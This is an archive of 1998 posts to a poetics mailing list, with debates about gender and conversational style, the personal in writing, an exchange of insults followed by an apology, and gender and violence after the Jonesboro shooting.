-yes, i think everyone should have the right to a weapon but you will find that the people who did not grow up around guns and don't understand that they are just machines powered by people (the machine we use to write, the internet etc is much more powerful and dangerous than guns will ever be) hell, i don't know what you are trying to say but it sounds dangerous- those boys are victims (the biggest cop-out crybaby nineties excuse word ever)-everyone is a victim now of television, bad cartoons and parents that probably don't even care- unless we all stop looking the other way...

↑ Index

945. **dbkk**
Re: women and men in conversation
Sat 28 Mar 1998

> *Date: Fri, 27 Mar 1998 13:18:48 -0600*
> *From: "Maria Damon (Maria Damon)" <[redacted]>*
> *Subject: Re: women and men in conversation*
>
> *it was very confusing for me to be raised with the "male" rules for conversation and then enter the social world. my main problem was not other women but guys, who recoiled from my "unfeminine" and combattive verbal style. i couldn't figure out what the problem was. now that i'm thoroughly therapized and midwesternized, i've learned to adopt some "feminine" conversational" skills and i must say it's helped a lot, not w/ getting guys so much as with just getting along better in society.*

Maria here is moving this discussion into a direction that I think is important--and that is that there's a problem with the essentialism of this gender discussion. What's "acceptable" verbal behavior for a woman is not this universal

white middle class suburban norm. There are class differences, regional differences, and racial differences. I think that good middle class liberals are tolerant of racial differences in verbal expression (afterall it's a good thing to be a good liberal)--it adds "color" to parties and other gatherings--but only up to a point, there has to have been a certain degree of white middle class patterns adapted or that person had better start looking for places other than the avant garde to get published.

As far as my own case, being raised working class in the Chicago area, I feel that I have to constantly contain myself when speaking in the middle class writing world in which I operate. If I express any sort of anger people act like I'm Linda Blair in the Exorcist, they're so shocked, like they're going to faint. I often think of my sister in law in terms of expressing anger. Now, I adore Marie, the sister-in-law, who is considered in her world to be a normal feminine woman in her thirties--how totally butch Marie is by the San Francisco standards I operate in, how she'll take a drag off her cigarette and say, "I wanted to tell that son-of-a-bitch to kiss my ass." This is Marie expressing mild disapproval, and everybody who she talks to understands that. No way could I say of any of tons of difficult people I deal with as an arts administrator, "I wanted to tell that son-of-a-bitch to kiss my ass." Maybe I could if I was on the East Coast, I'm always amazed at how much personality women from New York have--as opposed to the blandness that is enforced here in the Bay Area.

Men on this list have dumped on me time and again for expressing opinions. Remember last summer when I was accused of "rhetorical violence." Then recently when I had my skirmish with Dale (and Dale, please, I'm not trying to bring that up again)--I was complaining to one of the other men on this list how I felt attacked and humiliated in public and this guy, who claims to be a feminist, told me, well you criticized him, you brought it on yourself. I think there are good reasons for women to not bother posting to this list.

I'd just like to add, this is the post-Judith-Butler era--the binary days of male/female are over. Last night I ate dinner alone in my favorite cheap Chinese restaurant and these three drag queens were eating at the next table in the most wonderfully tacky casual attire, the three of them seemed very close and were having a great time, and I was having a great time describing their outfits in my diary, how they seemed to be in this close-knit world that I (and I imagine most of the other people in the restaurant) could never comprehend--and I got these pangs of sentimentality for otherness--to find companionship outside the claustrophobia of the middle class intelligencia. I guess my writing workshop is the closest I come to that. We have a blast in there.

Dodie

↑ Index

946. **Maria Damon**
Re: Virginia Woolf, class
Sat 28 Mar 1998

---

i am a fan of the personal, but i may be too far on that side. i've been known to blurt out information about my marital status from the podium. and regretted it.

At 10:17 AM -0800 3/28/98, Karen Kelley wrote:
>Rebecca Sithiwong wrote:
>
>> My Thai mother-in-law was worried. Are you leaving
>> us? My children were worried. Are you going to live in it?
>
>Wonderful story. I, too, love the personal, but always wonder if it's
>"appropriate" to the list. I like to think so, but what do you, fellow
>listees,
>think? Is there a line where something is too personal for the list?
>
>This actually raises interesting questions about where life & poetry meet &
>mingle. In undergrad (visual art) I recall a consensus among my peers that
>sculpture shouldn't be "too personal," (this in the midst of
>minimalism/post-minimalism). And if someone, during a critique, didn't want
to
>explain their work, inevitably they'd say: "I don't want to say any more--it's
>personal."
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>My Mom always said: "Don't write down anything you don't want EVERYONE
to
>see."
>She also said, when I wasn't being "good,": "Why don't you understand
>English?!?" Perhaps the harmless remarks of an immigrant-child turned
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>teacher, but it's always made every word that comes out of my mouth or off
>of my
>page seem dangerous/embarrassing/too personal. And now email & lists
tempt me
>to write down things on the fly, which everyone will see. My Mom'd be
>horrified!
>
>Viva la personal!

↑ Index

947. **morpheal**
Re: raped into a chosen martyrdom eh
Sat 28 Mar 1998

Keston Sutherland <[redacted]> wrote:

> *I disagree with every amateurish appeal and clownish assurance he makes*

I am of course a clown here because I lack a masters or a doctorate ?

Though there could be other implications which I shall allude to later.

> *I know that I would never remain within a*
> *truly abusive relationship [sounds to me like you'd make one], and feel*
> *bound to be the martyred victim. Probably because I despise*
> *sado-masochism...*"

This apparently goes with your retitling of your article as

"Re: raped into a chosen martyrdom eh"

What gives you, good sir, regardless of your eminent Harvard education, and your position of privilege within the world's most politically, economically, and militarily powerful nation, the right to imply that ?

I have never come anywhere near to raping anyone, in any fantasy or any reality, and the only few times I ever came near to being raped was by somewhat older men, when I was a young teenager.

Now, good sir, while you yourself might not have chosen to _always_ and in _every instance_ respect _any_ man or woman's personal free choice as to physical intimacy of any kind, I most certainly have always maintained that to be an inviolable principle. That is true even within a committed relationship and I was in one for nearly nine years with a woman.

I firmly believe that consent as to ANY physical intimacy must be uncoerced between persons as equals (neither regarded as submissive or dominant and each having their own head and freedom of thought and expression say in the matter). That such consent must be freely given to one another before physical intimacy can be permissible with each other. That is even true in marriage. I can also honestly say that I have not taken advantage of any woman who was in any way inebriated, intoxicated, or unwilling to freely enter into physical intimacy, and particularly any intimacy that implied anything even remotely sexual. Also that regardless of my on rare occassion being a little under the influence, I have invariably appologized for any unwelcome casual touch. I have never even taken a liberty of the slightest contact and then excused it as being the workings of some intoxicant. That includes even the touch of a hand upon a hand, and there it stops.

If that is a martyrdom then so be it. That is not going to change, despite the urgings of others, mostly men, that I am too conservative and that with that attitude I will never win my beloved, whomever she is, as they say I lack the necessary aggressive impulses to sieze by the hair and drag her down, as would a Neanderthal. Perhaps you are one of those who share that predilection.

So, what are you on about, other claiming that you perhaps disagree, within your own life, about that basic principle that I uphold and maintain in mine ? That and many other principles that I have always maintained or have learned to maintain.

If that implication is correct, then we certainly have a vast difference of opinion that is unresolvable, and we must go to war against each other. That is before you attempt to rape me....or make further claims that some other has raped me who in fact has not done so.... Either idea is as abhorent as the idea that I would enter into any such practice.

Shall I suggest pistols at ten paces ? Who are your seconds ? Duelling seems to be the only practical recourse, all else considered....

And there we have it, a difference, a conflict, and a war.

> *IS ANY COMMENT NEEDED? Are caps needed?*

Caps, capitals, capitations, capitalizations, and caput....all relate to one another and in fact it has more to do with the heads on coins than anything else. Lose ones coins and lose one's head, is a common, but not a commensense, principle that some uphold. One is forever a clown if one does not hold on to one's money bag and all those heads in there, isn't one ?

Now that is implicative.

Perhaps it depends upon the reasons that one goes caput and decapitalizes.

Good sir, are you, in your holy Harvard sacred business sense of American economics wisdom claim that that decision to decapitalize one's self, in any instance, ought NOT to be for the sake of any other, and much less the sake of a _woman_. Oh, ye gods, forbid, a man caput and decapitate, decapitalized, because of any woman. So stone the bastard for not having capital intentions....and put a fools cap on him that he will never get off. Is that the real digs in what you are, "eh", attempting to goad at ?

Are you saying that the freely chosen agreement with another to in some way decaptilize one's self, and share what one has, where that action in fact has nothing whatever to do with any business of profits and losses, but is a personal matter, is a kind of rape ?

Again, I think pistols at ten paces might be best, with you Mr. Sutherland, as you seem to know so very much about the matter you allude to, and seek to tar it over with such a black brush.

Another implicative.

> *morpheal, this comment of yours is plain idiocy*

You are right, I stand corrected, as I lack an advanced degree with which to support the argument.

Clearly you are claiming this list for those with academic tenure and advanced degrees, are you not ? If that is the consensual opinion then of course I shall promptly leave and never say another word about it.

I cannot say best regards.

Your attack was far too venemous to honestly feel that way in response.

Bob Ezergailis

↑ Index

948. **Karen Kelley**
Re: women and men in conversation
Sat 28 Mar 1998

[redacted] wrote:

> *she'll take*
> *a drag off her cigarette and say, "I wanted to tell that son-of-a-bitch to*
> *kiss my ass."*

This so reminds me of Diana, my roommate in (east coast) art school. In the midst of a discussion of esthetics spiralling pedogogically, pedantically, pontificatingly out of control, she took a drag off her cigarette and blurted, "Aw, fuck art!" That statement helped define our sculpture department in ways I can't even begin to describe. It became our rallying cry. Everyone stopped worrying & looking over their shoulders for the art-police and just made sculpture. I really miss that sort of response, as I work in the buttoned down world of Silicon Valley.

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949. **Thomas Bell**
Re: women and men in conversation
Sat 28 Mar 1998

From what I've seen on the list opinion and feelings (particularly anger) are generally ignored or trounced - it doesn't seem to matter who writes it. This

seems to limit discourse to the two extremes of decorum and vituperation. The only exception I can recall started with Tom Beckett's post on depression and writers about a month ago. I'm sorry he apparently is no longer with us here.
tom bell

At 11:05 AM 3/28/98 -0800, [redacted] wrote:
>>Date: Fri, 27 Mar 1998 13:18:48 -0600
>>From: "Maria Damon (Maria Damon)" <[redacted]>
>>Subject: Re: women and men in conversation
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>>it was very confusing for me to be raised with the "male" rules for
>>conversation and then enter the social world. my main problem was not
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>>style. i couldn't figure out what the problem was. now that i'm
>>thoroughly therapized and midwesternized, i've learned to adopt some
>>"feminine" conversational" skills and i must say it's helped a lot, not w/
>>getting guys so much as with just getting along better in society.
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>Maria here is moving this discussion into a direction that I think is
>important--and that is that there's a problem with the essentialism of this
>gender discussion. What's "acceptable" verbal behavior for a woman is not
>this universal white middle class suburban norm. There are class
>differences, regional differences, and racial differences. I think that
>good middle class liberals are tolerant of racial differences in verbal
>expression (afterall it's a good thing to be a good liberal)--it adds
>"color" to parties and other gatherings--but only up to a point, there has
>to have been a certain degree of white middle class patterns adapted or
>that person had better start looking for places other than the avant garde
>to get published.
>
>As far as my own case, being raised working class in the Chicago area, I
>feel that I have to constantly contain myself when speaking in the middle
>class writing world in which I operate. If I express any sort of anger
>people act like I'm Linda Blair in the Exorcist, they're so shocked, like
>they're going to faint. I often think of my sister in law in terms of
>expressing anger. Now, I adore Marie, the sister-in-law, who is considered
>in her world to be a normal feminine woman in her thirties--how totally
>butch Marie is by the San Francisco standards I operate in, how she'll take
>a drag off her cigarette and say, "I wanted to tell that son-of-a-bitch to
>kiss my ass." This is Marie expressing mild disapproval, and everybody who
>she talks to understands that. No way could I say of any of tons of

>difficult people I deal with as an arts administrator, "I wanted to tell
>that son-of-a-bitch to kiss my ass." Maybe I could if I was on the East
>Coast, I'm always amazed at how much personality women from New York
>have--as opposed to the blandness that is enforced here in the Bay Area.
>
>Men on this list have dumped on me time and again for expressing opinions.
>Remember last summer when I was accused of "rhetorical violence." Then
>recently when I had my skirmish with Dale (and Dale, please, I'm not trying
>to bring that up again)--I was complaining to one of the other men on this
>list how I felt attacked and humiliated in public and this guy, who claims
>to be a feminist, told me, well you criticized him, you brought it on
>yourself. I think there are good reasons for women to not bother posting
>to this list.
>
>I'd just like to add, this is the post-Judith-Butler era--the binary days
>of male/female are over. Last night I ate dinner alone in my favorite
>cheap Chinese restaurant and these three drag queens were eating at the
>next table in the most wonderfully tacky casual attire, the three of them
>seemed very close and were having a great time, and I was having a great
>time describing their outfits in my diary, how they seemed to be in this
>close-knit world that I (and I imagine most of the other people in the
>restaurant) could never comprehend--and I got these pangs of sentimentality
>for otherness--to find companionship outside the claustrophobia of the
>middle class intelligencia. I guess my writing workshop is the closest I
>come to that. We have a blast in there.
>
>Dodie
>
>

↑ Index

950. **Keston Sutherland**

Re: raped into a chosen martyrdom eh

Sat 28 Mar 1998

Dear Bob -

seems there've been crossed wires - I would NEVER imply that you had mistreated or abused anyone, or that your message demonstrated any such propensity; if this is how my response reads, then please please accept my sincerest apologies. I do regret the extent to which my note was venomous, and for this I'm also sorry.

What I meant by my title was something wholly different - that your suggestion that women trapped in abusive relationships (often raped into and in them) as 'martyrs' to a kind of sado-masochistic impulse is crass and highly offensive - that there's no such thing as a universal opt-out clause for such individuals, and that sometimes there is no 'freedom' of choice simple enough to warrant that morally suggestive term.

A few points.

1. I do not hold an advanced degree, masters or doctorate. So what. Neither do you. So what. Nothing I said made this an issue. I'm not attempting to 'claim' this list for anyone. If the mere fact of my e- address must incur this rather tangential jibing, I suspect the problem is not something I can redress.

2. This 'most powerful of nations' is not my nation. This is the first year I've lived here, and I'm sure I'd have just as many criticisms of it as you.

3. There are types of venom: whilst my message was, I admit, too severe and excessive in its irritation, I found YOUR message incredibly offensive, really quite like a venom that required a fairly potent cure. I am - again - sorry if what I said seemed personally directed.

Really - it upsets me that you have written a defense of your most intimate attitudes as if they had been called into question; I had meant only to attack the published fact of an array of what I consider to be abusive remarks. I AM sorry, and hope that my next response, should this discussion continue, will be more equable.

But do you see that to claim simple freedom of choice for men and women constrained (by whatever factor - economic, for instance) to accept a daily ration of mistreatment, is inconsiderate to say the least? Have you never known anybody stuck in such a situation?

↑ Index

951. Keston Sutherland
Re: Farmers Schoolboys
Sat 28 Mar 1998

fer chrissake... "Don't underestimate the farmers schoolboys, they contribute" yes, I'm well aware - this has nothing whatsoever to do with what I was saying, and neither was it 'farmers and schoolboys' alone that I mentioned, was it?

> *FARMERS SCHOOLBOYS AND INSURANCE SALESMEN*

There ARE points to be made, sometimes it IS possible or even necessary to be polemical or elliptical in making them, does anybody -really- think I'm underestimating farmers' contribution to the nation just by suggesting that they (along,

as I obviously implied, with everyone else) would not be able to fend off an attack from the armed forces? Must this discussion reach this level of inventive pedantry? And what's all this sneery ressentiment re: Harvard?

↑ Index

952. **k. lederer**
Re: esp Rachel, Models of Power
Sat 28 Mar 1998

Re: The point below and Rachel's earlier interpretation of the word "power"--

To desire that people exercise their "power" is not necessarily to imply that they subvert or otherwise hinder someone else.

Power can be reactive as well as proactive--defensive as well as offensive--

When I presume that there are links between speaking, participating, and power, I am not trying to imply that "powergrabs" are the answer to anything--or that disenfranchised or otherwise "unpowerful" people need to rise up and take over the power structures that are now in "force"--

To, as Rachel puts it, "just do one's work" requires a certain degree of power--of "self-confidence" and "self-possession" as Woolf might phrase it.

The exercise of one's power does not need to be synonymous with the oppression of others.

Re: Keston's question below: the connection between speaking and the model of power I presented earlier is, as you imply, to try to prevent such "oppressive" conditions from arising in the first place.

In other words--my use of "speak!" was meant as an incentive to use power defensively (as in speaking on the list if you disagree with something)--not offensively per se.

Best, Katy
***
>
>
>
>
>
> wouldn't Foucault say that, whilst productive rather than repressive
> (strictly speaking), power can nonetheless be used to produce repressive
> conditions? And that in fact it regularly is? Why does this lead to
>
>

> >In other words--women should speak! Everyone should speak!
>
>
> ? Of course they should. There's a gehenna of links I'm missing
>

↑ Index

953. Nada Gordon
my penis
Sat 28 Mar 1998

My Penis

is bright and triangular.
Physical fact and shape
a persistent drumbeat
adjectives cling up to:
moist, clever, leafy, spoiled --
anagrams of my real name
like flowers bigger than the world:
lineaments
of gratified desire

--nada

↑ Index

954. Taylor Brady
Publication Announcements
Sat 28 Mar 1998

New at Cartograffiti:

Poems by Rod Smith, Heather Fuller, and Sean Bonney; hypertext fiction by Aaron Armstrong Skomra.

Also, new (more or less) from the Small Press Collective :

Print-ready PDF versions of Small Press Collective newsletters 1 and 2 (previously circulated in photocopy format in a rather limited fashion). To access the PDF files, follow the "SPC Print Publications" link from the SPC front page.

-- Taylor Brady
editor, Cartograffiti
 http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

(a publication of the Small Press Collective)
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<P>-- Taylor Brady

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<P>(a publication of the Small Press Collective)

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955. Gabriel Gudding
Sutherland's Apology
Sat 28 Mar 1998

Look -- Gudding here rising from a recent bath in lurkerdom -- just want to say what a fine thing it is to see a nice, thoroughgoing apology on this list.

Apology is, I think, an art that has regrettably made its escape from American public life. I'm glad you made one, Mr. Sutherland: it was needed.

Three things, Henry James said, are necessary in human life. The first is to be kind. The second is to be kind. And the third is to be kind.

Well done. gg

On Sat, 28 Mar 1998, Keston Sutherland wrote:

> *Dear Bob -*
>
> *seems there've been crossed wires - I would NEVER imply that you had mistreated or abused anyone, or that your message demonstrated any such propensity; if this is how my response reads, then please please accept my sincerest apologies. I do regret the extent to which my note was venomous, and for this I'm also sorry.*

↑ Index

956. **joel lewis**

Re: what does Jonesboro have to do with women & poetry & Poetics list

Sat 28 Mar 1998

---

what pisses me off about the coverage is absolute lack of discussion that these boys, at their early age, felt they had the permission to kill women (girls in this case) who "rejected" them -- a theme unfortunatley picked up by one too many husbands and boyfriends as adults. Why the focus on guns and nothing on the sexism in society??

joel lewis

↑ Index

957. **k. lederer**

Re: women, i.e. rachel & katy

Sat 28 Mar 1998

Hi Linda--

I'm not sure what to make of your description of (presumably) the undergraduates at U Utah.

Are you trying to say that stereotyping women as such creates more women who fit the stereotype?

Are you trying to say that feminism has led to some sort of gross exploitation of the menstruation excuse for skipping classes?

I did gather, I think clearly, that you feel that women drop out at a higher rate from men as they climb the educational ladder because they decide to raise families instead of continuing on--

But I have to admit that I don't see the connection between Rachel's views (which I don't fully understand, I don't think) and the undergrads at U Utah--

Maybe you mean to say that Rachel doesn't want to be lumped together with these other "kinds" of women? That Rachel would like to avoid being perceived as one of these slim blond giggly people? (Though Rachel is slim and kinda blondish and has a wonderful laugh--and is very generous with her laughter)?

Best,
Katy

↑ Index

958. **R M Daley**
hi linda and haha ! katy
Sat 28 Mar 1998

---

hey linda- glad yer back - oh i don't think at all i's keeping my mouth shut or not showing my tru colorz or anything like that last year - just afraid of trigger words after a year of seeing tru colorz of the world of poetry mongering and stargazing - and so not so much pizza delivering or slingin other types of hash thats got me worried about the distinction continually being made between 'our world', the poetry world and the 'real world' of real world trials and tribulations - and i think you are pointing out perhaps how they areall of the world thats interpreted and 'lived' - from the slim blondes trying to sell us jesus on utah's campus to the kind of muse-infested death lyrix continually slung over women's bodies-

so yeah katy, i think of a way i can understand what yer saying - the power part oh yes most definitely yes definitely coes in at the part where one feels one has the necessity, reason, hankering, space (a la woolf) to do work- that is certainly a certain position of power, of unself-consciousness i think that may be lots of what women have not had the chance to take for granted - for many it seems to be something that comes as a difficult gift from themselves

luv ya

rachel

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959. **R M Daley**
Re: women, i.e. rachel & katy
Sat 28 Mar 1998

---

but KATY I'M NOT BLOND!!!!!

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960. **k. lederer**
Re: women, i.e. rachel & katy
Sat 28 Mar 1998

I said you were "blondish" (not a blond dish)--

Blond complected--

Something must be right at U Utah--they won at the b-ball--

On Sat, 28 Mar 1998, R M Daley wrote:

> *but KATY I'M NOT BLOND!!!!!*

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961. **Rebecca Sithiwong**
personal
Sun 29 Mar 1998

Forgive the personal, I became so intentionally to make a point about what money and a room of one's own can do for a woman who writes. I am, though, interested in the undertones of the "personal" controversy. Any backchannel commentaries or clips of previous conversations on this point will be appreciated.

I am in a strange situation here, my only connection with you all is this list. I do not know any of you personally, I have never published, do not work in academia and, indeed, may be outside the pale of the interests represented by this list. It takes a great deal of courage for me to post to this list. I don't, however, feel that this is a problem of gender, so please don't anyone misunderstand, it's just a function of how new I am to this world of poetics.

I hope I did not give the impression that I consider my writing personal to the point that not everyone could read it. This was not my intention. I write for everyone. There is nothing I write which I wouldn't share with anyone who can read my language, but, that includes neither my mother-in-law- nor my children. I don't think I would submit it to a random list of publications either. Why would I? My children were made for this world, it doesn't mean, though, that I would release them on a street anywhere. I don't eat just anything and I'm particular about my bath. That's me and I'm the one writing. Or, was someone making a point about a divinely inspired process?

Perhaps I'm missing something about personal. Any enlightenment would be appreciated. Thanks in advance.

Rebecca

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962. **rsillima**
Guns, gender, children
Sun 29 Mar 1998

I've been none too impressed by the tone of discourse on this list over the past few weeks (dating back to the religious wars), although bright spots (David Bromige, Dodie Bellamy, Nada Gordon, Joel Lewis) always make it worth the while, eventually. I'd love it if people could actually try to read one another once in awhile and leave off the name-calling.

The situation in Jonesboro (which, as a one-time SF resident, I keep hearing as "Jonestown") is heart-breaking. It's part of the American pathology (the "pure products" as WCW once put it) that people in this country hardly question why children who are not old enough to smoke, drink beer or drive are allowed to be "trained" to use automatic rifles. If ever there was an argument for the moral and psychological superiority of Canada or the UK, America's confusion of the gun with its collective penis is it.

There is, I think, no question that this violence is gendered. My wife's college buddy Corinne Dufka is the chief Reuters photographer in Africa (after stints in the former Yugoslavia, Chechnya and central America). Her photos, which periodically can be seen on the Reuters web site (Corinne was nominated for the Pulitzer last year), all too often show armies composed of 13-year-old boys killing other 13-year-old boys. It's always boys.

Corinne herself took up photography while working in Nicaragua (an interesting choice given that her mother, and I think a sister also, are blind) to show what war does to children and has been wounded three times (once when her jeep hit a land mine in Chechnya) over the past decade.

Ron

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963. **Chrsmccrry**
unsubscribe poetics
Sun 29 Mar 1998

Dear God,

if there's any justice in this world, then please let this work--

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964. **david bromige**
re : unsubscribe poetics
Sun 29 Mar 1998

This is a personal squawk : I just dont get it. Granted that "chrss mccrry" in his post today is cryptic, I assume from this one-line farewell that s/he is offended by what's going on with the List. Well, you know, I dont recall seeing many or any posts from "chrss mccrry". So was s/he lurking out there, passively allowing us-all to go on without his or her attempting to intercede?

I dont understanding this running away from difficulties instead of attempting to cope with them, even to turn their direction. I was sadly disappointed when Toim Beckett quit after so brief a term with us. But Tom at least tried to remake the List closer to his heart's desire. I dont think there was anything like a similar effort from "chrss mccrry".

I dont understand the rudeness, either : the terse implication that we have somehow failed this pristine noncombatant. And I dont understands the cowardice : "chrss mccrry" is now presumably not around to receive feedback on his/her gesture.

But maybe s/he simply posted the "unsubscribe" to the wrong e-ddress, & had been having technical trouble disconnecting, & my small rant is completely off-target--if so, most profound and english apologies to all, for projecting an argument fetched over from elsewhere, onto this innocent mistake. David

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965. **Billy Little**
personality
Sun 29 Mar 1998

don't stop Rebecca, there is no poetics factory, working conditions create poetics as much as ideas, family creates poetics, acceptance/rejection creates poetics, pencils/keyboards create poetics, this list needs more personality not uniformity, poetry and conformity are antonymns and i couldn't agree more with David Bromige about the unpersonality of the unsubscriber, although it does provide the guilty pleasure of imagining and reimagining the reasons they quit (was it my bad breath?)

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966. **Keston Sutherland**
(no subject)
Sun 29 Mar 1998

> *So, no, I have NEVER known of ANYONE in that situation.*

> *They claim to be in it, but they are not.*

well I have known such people, some very close to me, whose dependency was so thoroughly bred into their outlook as to make it impossible for them to extricate themselves. And so they were regularly beaten and sexually abused. I don't consider this a mere 'claim', no matter how those people may have changed their minds had they been more enlightened.

A sore issue, in fact -

yrs, k

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967. **morpheal**
Re: personality
Sun 29 Mar 1998

> *don't stop Rebecca, there is no poetics factory, working conditions create poetics as much as ideas, family creates poetics, acceptance/rejection creates poetics, pencils/keyboards create poetics, this list needs more personality not uniformity, poetry and conformity are antonymns*
> *and i couldn't agree more with David Bromige about the unpersonality of the unsubscriber, although it does provide the guilty pleasure of imagining and reimagining the reasons they quit (was it my bad breath?)*

Aside: I am trying to post fewer messages so as to avoid the wrath of the list godz, but I could not resist saying something to this.

You have never heard of the art factory ? It has an art assembly line, where each artist, as a self incorporated entity, MUST crank out, following the long venerated strategems and techniques of a Henry Ford, a quite precisely identifiable and narrow range of product line.

They must have a style, or voice, of their own, a recognizable "signature" in the Derridean sense of that, and most of all they MUST do essentially the same thing over and over again. Even the divergence into another medium of expression could be seriously frowned upon as diletantism, as is experimentation with different styles of writing often dubbed immature style.

The artist is often constrained to the realization that the artist has more in common with the mass production enterprise of products for the marketplace than the artist wanted to have. The artist too tends to feel the need to produce works that are as remarkably similar as the same model, of the same make, with various options providing the only differentiation.

Of course I said previously that might be overcome in the evolution of art, but not yet. Then any artist might deviate into any style, using any media, in any ways that suit the intentionality of giving communicative form to the impulses

derivative from a sense of aesthetics and a desire to express meanings. There are signs of that tendency towards liberalism in the arts, but not its full realization. I think we might see more of that in the very near future.

Then there might be more acceptable differentiation of the works of art, as distinct from the works of mass production, and differentiation of the artist away from the mass producer ? Perhaps.

Morpheal

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968. **Alan Myouka Sondheim**
Re: re : unsubscribe poetics
Sun 29 Mar 1998

why would poesis get us out of anything? if not worldwatch, there are other equally appalling statistics, and nothing changes them, not even Wired's cacaphony re: our brilliant future.

if the pen is mightier than the sword, the ploughshare wins overall.

alan

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969. **D W Have**
"BOYS"
Sun 29 Mar 1998

In a message dated 3/28/98 8:30:44 PM, you wrote:

what pisses me off about the coverage is absolute lack of discussion that these boys, at their early age, felt they had the permission to kill women (girls in this case) who "rejected" them -- a theme unfortunatley picked up by one too many husbands and boyfriends as adults. Why the focus on guns and nothing on the sexism in society??

Joel Lewis

and Ron Silliman wrote:

There is, I think, no question that this violence is gendered. My wife's college buddy Corinne Dufka is the chief Reuters photographer in Africa (after stints in the former Yugoslavia, Chechnya and central America). Her photos, which periodically can be seen on the Reuters web site (Corinne was nominated for the Pulitzer last year), all too often show armies composed of 13-year-old boys killing other 13-year-old boys. It's always boys.

I thought I'd posts some quotes that address the subject of gender and violence from a different angle--

"Owing to greater uses of cutting objects and other weaponry, Mcleod states 'offenses against men are significantly more serious than are offenses against women.' Her examination of police reports found 'whereas just one quarter of all spouse abuse incidents involving female victims are categorized as aggrevated assaults, the corresponding statistic for male victims is demonstrably higher" 86 % are aggrevated, over two-thirds of these aggrevated events are serious assaults with a weapon. "-- Cook-- quoting Mcleod's study of Philadelphia Domestic Homicides in Abused Men - the Hidden Side of Domestic Violence.

38 % of domestic homicides among white couples in the US are committed by women .Cook, Abused Men - The Hidden Side of Domestic Violence.

In black family/spousal murders roughly 47% of victims are husbands vs 53 % wives Cook, Abused Men - The Hidden Side of Domestic Violence.

Women kill their children more often than fathers do (55% vs 45 %) Cook, Abused Men - The Hidden Side of Domestic Violence.

"There are many examples where a man is charged with homicide while a woman committing a similar act is charged with a lesser offense "(Mcleod -- who attributes this fact to "chivalry and paternalism on the part of the police")

"It is a well known but often neglected by policy makers that men are nearly twice as likely as women to be victims of all types of violent crime and three times more likely to be murder victims" -- Cook Abused Men - the Hidden Side of Domestic Violence.

"More precise and balanced results from the most recent National Family Violence Survey reveal a woman is being severely assaulted every 17.5 seconds and a man is being severely assaulted every 15.7 seconds. The data on male spousal abuse are generally not cited. -- Cook Abused Men - the Hidden Side of Domestic Violence.

McNeely, R.L.. and Robinson-Simpson, G(1987)The Truth about Domestic Violence: A Falsely Framed Issue.Social Work32(6)485-490 Excerpt from the text of the book: "Yet, while repeated studies consistently show that men are victims of domestic violence as often as are women, `both the lay public and many professionals regard a finding of no sex difference in rates of physical aggression among intimates as surprising, if not unreliable,' the stereotype being that men are aggressive `and women are exclusively victims.' "

Rate of violence per 1000 couples (NIMH study 1985) :

Husband against Wife: Overall Violence: 113 Severe Violence: 30

Wife against Husband: Overall Violence 121 Severe Violence: 44

"The fact that women had higher mean and median rates for severe violence suggests that female aggression is not merely a response to male aggression"-- from a study by the National Family Violence Counsel

"Women are often as directly aggressive as men and occasionally more so"-- Are Women Always Less Aggressive Than Men?-- Psychological Bulletin --Ann Frodi, Jacqueline McCaulay and Pauline Ropert Thome

"Numerous studies show that women commit more acts of child abuse than do men" --Cook Abused Men - The Hidden Side of Domestic Violence.

(Studies place the percentage of incidents of child abuse perpetrated by females at somewhere around 80%-- DH)

Not to suggest that statistics tell the whole story (they are always "cooked" no matter who employs them), but I thought it might be instructive to post work that show a different picture as regards gender & violence. This is in no way meant to suggest that feminist concerns are not viable in this field of inquiry-- they most certainly are, and much good has and will continue to come out of them. Rather it is meant to serve as a partial answer to some of the posts that suggest "it's always boys". As a psychotherapist who did emergency work and commitments for about two years and was in private practice for another two, I spoke to women who had beaten their husbands, men who had been treated violently at the hands of women and men who had been victims of sexual abuse by women. They were all well aware of the silence (read disbelief) with which their stories are often met. A final note-- as far as I am aware these studies are pertinent in the United States only,& all but the McNeely citation can be found in Cook's Abused Men - the Hidden Side of Domestic Violence. There are other books and many more articles on this subject available, but Cook's is the only one I could find at the library near my home. David Hickman

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970. **k. lederer**

Ron and Don: what's wrong with the conversation?

Sun 29 Mar 1998

Don--

By your message I gather that you have found the discussion about feminism and women's participation on this list "dreary." This is my assumption--and if this is what you meant, then you should come out and say it (likewise w/Ron Silliman).

I understand your concerns about what you characterize as stereotypical forms of response on a list like this one: "the righteous," "the victim," "the defender" etc...

But by saying this I think you very much reduce the content of some of these messages. What's been going on here in the last week is far more complicated than simple "dreariness" or, as you also imply, "irrelavance."

Sure, the discussion has not been particularly witty nor flush with facts. I would guess (and maybe I'm wrong) that you and many others who might find such a discussion dreary have not even cracked most of the foundational texts in regards to this issue.

In which case, you may not be seeing the more subtle aspects of some of these posts.

When you say that "our tradition and history" don't know what to do about a world in crisis--and that poesis is somehow a salve if not a remedy for this, then I think you must be on another planet.

I am not the most energetic activist. I am not yet clear (I am 25) on what to do about this world in crisis. But I think that a working out of gender issues, and race issues, and class issues--all of which are imbricated with poverty, overconsumption, and one another--is a big first step.

Part of the discussion here in the last week has regarded various forms of competition and the ways in which they are engendered.

I believe quite strongly that discussions about modes of conversation, violence as it pertains to gender, and polemicism on this list have everything to do with an attempt to alter the course of this "world in crisis"--

Could you please explain to me what you see as the precise connection(s) between poesis and our impending environmental doom?

Gary Snyder?

Best,
Katy

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971. **Tim Wood**
Re: "BOYS"
Sun 29 Mar 1998

<semi-rant> A lot of interesting posts flying recently; really good discussion. Mr/s D W Have posted a litany of statistics that nicely illustrate that nothing,

even gender, is as simple as anybody on any side of the issue would have the rest of us believe.

I have the 'joy' of living in a state where a gubernatorial candidate less than a decade ago said --on the question of rape-- that women should just lay back and enjoy it. To be even cruder (if that's possible): they asked for it. The nasty little game of labelling someone a victim and then blaming them for it, too. Neat trick that.

Of course, the flip side is the argument that gender agression/problems/whatever all source in the male ultimately. Some where. Some decade. Some how. One post worried about not getting a date because of a man's reaction (like men never worry about that) while being somewhat horrified that men do very much the same thing. In simple terms, perhaps we all hope to play our half of the sexual game without an 'opponent/partner'. They don't call it a dance for nothing.

